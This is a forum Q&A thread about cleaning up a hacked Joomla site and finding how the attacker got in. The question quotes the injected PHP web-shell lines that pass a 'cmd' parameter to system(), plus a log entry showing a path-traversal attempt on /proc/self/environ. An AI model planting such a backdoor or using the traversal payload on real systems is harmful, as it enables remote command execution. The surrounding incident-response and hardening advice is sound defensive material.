Site Hacked Using ?cmd=ls

Question

A Joomla site I'm running was hacked the other day. The hacker dropped some files into the tmp directory and was running an HTTP Daemon there somehow (at least that's what my host told me). At any rate, I've been trying to clean up the files they left behind and secure what I can, but in checking my logs I noticed a hit on www.domain.com/?cmd=ls. This seemed strange to me, so I tried it... and lo and behold it lists all the files in the root directory of my site. Can someone explain to me why this is happening and how I stop it? This seems like a huge exploit, which I'd like to eliminate immediately.

Update: In digging I noticed a few extra lines added to my Joomla index.php:

if ($_GET['cmd']!=null) {
     system($_GET['cmd']);
}

I've removed these, but am curious to know how the attacker managed to edit these to begin with. Not really sure where to look to make sure I've closed any back doors.

More Updates: First let me say that yes, I realize the proper course of action here is to blow the site away and restore from backup. However I'd prefer to leave that as a last resort since (a) it's a site that depends on community contributions and my backups aren't that recent (my fault, I know) and (b) I'm working on a new version that should be ready soon. But since I seem to be getting some assistance here I'll add some of the other things that I found/did in an attempt to fix this situation.

Found some .kin (or something like that - didn't make note of it and deleted it right away) directory in my /tmp folder which was obviously where this http daemon was running from. I'm assuming that the gunzip (mentioned below) was how this was placed here.

In my error_log files I found the following suspect entries (the "..." is my attempt to remove the path/filenames from this post):

[04-Jul-2010 09:45:58] PHP Fatal error:  Class 'CkformsController../../../../../../../../../../../../../../../proc/self/environ' not found in ... on line 24

[05-Jul-2010 12:31:30] PHP Notice:  Undefined index:  HTTP_USER_AGENT in ... on line 92

[04-Jul-2010 06:41:52] PHP Warning:  rmdir(...) [<a href='function.rmdir'>function.rmdir</a>]: Directory not empty in ... on line 1719

I've updated the CKForms component (which was listed as having a known exploit with the version I was running), as well as another component listed in the HTTP_USER_AGENT message.

In my stat logs I found that the same IP address attempted the ?cmd=ls twice, so I blocked that IP (somewhere in Indonesia).

I updated my Joomla installation to the latest.

I found system.ph and system.php files in my root which had a gunzip/base64 encoded string, which I deleted.

I've gone through all of the directories within the installation where the timestamp is recent to see if any abnormal files exist.

Deleted a cron job pointing to .../tmp/.kin/up2you >/dev/null 2>&1

Also, I'd be concerned that even if I did restore from a backup, whatever exploit used would still exist, so root cause and prevention is really what I'm going for here.

Answer 1

Your server is wildly unsecured, probably as a result of the hacking. It needs to be taken offline as soon as possible.

The best course of action at this point is to wipe it clean, restore from backup, and make sure it is secured. You'll have almost no way of being sure you got rid of the hacker/virus/etc unless you wipe it.

Answer 2

I agree with Chris S. You're too exploited. You need to wipe and restore from backup. And this time, before you go live, you need to be extremely careful with your write and execute permissions.

Once an attacker has obtained system-level access, you can't trust your code anymore.

Directory permissions are HUGE. This cannot be stressed enough. They uploaded code to your site via an exploit, but that can only be done if your code can write to the local directories. If it can't, or if the local directories that it CAN write to can't be interpreted or used to host executable code, then the damage that can be done is extremely limited.

I recommend removing write permissions everywhere you can, ALL OF THEM, even the ones belonging to root. The only things that should be writable anyway are upload directories and whatever directory stores your session files. If you don't allow uploads, then only the session file directory, and that one should be as locked down as you can make it.

You should also run regular file integrity scans. Unfortunately, that's not as easy if you don't have complete access to the server. Still you can download the site and compare it to your backup on a regular basis. Ideally, you should be able to overwrite the entire site from backup at any time, and have no one notice the difference.

Answer 3

I strongly disagree with Chris S's claim that all files/directories should be owned by root. There is a reason for the Unix permissions system.

There are two basic ways to run Apache/PHP. One is to run it as the www-data user, and have the files owned by a non-root username. Apache runs as a low-privilege account and must be granted access to particular directories/files in order to write to them. This is why Joomla has the ftp layer, to compensate for this. However, in a shared server environment, the fact that all files need to be world readable makes config files for other sites on that machine easily read.

The other way is to run Apache with PHP running suPHP, which is what CPanel prefers. In this case, Apache runs as a low privilege user, but, all PHP requests are handed to a script that changes the ownership to the username that owns the files. While you can now use Unix permissions to prevent other rogue scripts on the machine to browse your directories, any compromised PHP script is able to be run as your username and as a consequence, modify/deface any of the files owned by your username.

Since you're not well versed in server security, finding well hidden rootkits, etc on the machine would not be a fun task. First, you'd have to know whether the kernel was exploitable (unless you're running a very recent kernel, the answer here is yes), and whether anything had been affected. This particular hack usually occurs through a compromised FTP account at which point they are able to execute scripts. Since you found that code, it also suggests that the 'hacker' using it wasn't very sophisticated. There are many ways that he could have hidden that code and prevented your logs from seeing what he was doing.

mojah is correct. Once they get in, they try to run a script from /dev/shm/.something or /tmp that connects to their IRC network, or, acts as a takeover bot on undernet or another competing network. You'll likely find one or two scripts running, perhaps a cron entry to restart it, and, other remote shells hidden throughout your Joomla installation. Look for files in the /uploads or /images directory named similar to existing files. i.e. img_1034.jpg.php. They will usually hide their irc bot in multiple places that aren't web accessible so that you won't stumble across them when you log in, but, will have stashed their remote shells in places so that they can get back in and rerun their script and have it reconnect to their network.

In any case, the task you're faced with is somewhat tricky. You've got a site that you need to stay online, you lack some of the experience with these situations, and, you just want your site to work.

Take a dump of your database through Joomla's export function, make sure it is a complete dump. Create a second site and import the dump to verify it. Once you are sure you have a good, importable dump, make a backup of the site. Delete all files, reinstall Joomla, basic installation, use the existing MySQL connection information - it might believe you are upgrading, in which case allow it to upgrade. If you are on a VPS somewhere, perhaps have them hand you a fresh image and reinstall.

Answer 4

As you said, the person/group resposible for hacking your server left a webserver behind, customized to his needs (also called a Shellbot, usually written in Perl/Python). It's a custom webinterface designed to allow custom commands to be given via easy parameters.

The ls is basic and, relatively, harmless. It's probably been used to start other, more dangerous, commands too.

If it's a Linux, try to see which processes are running using lsof (lsof -i tcp:80).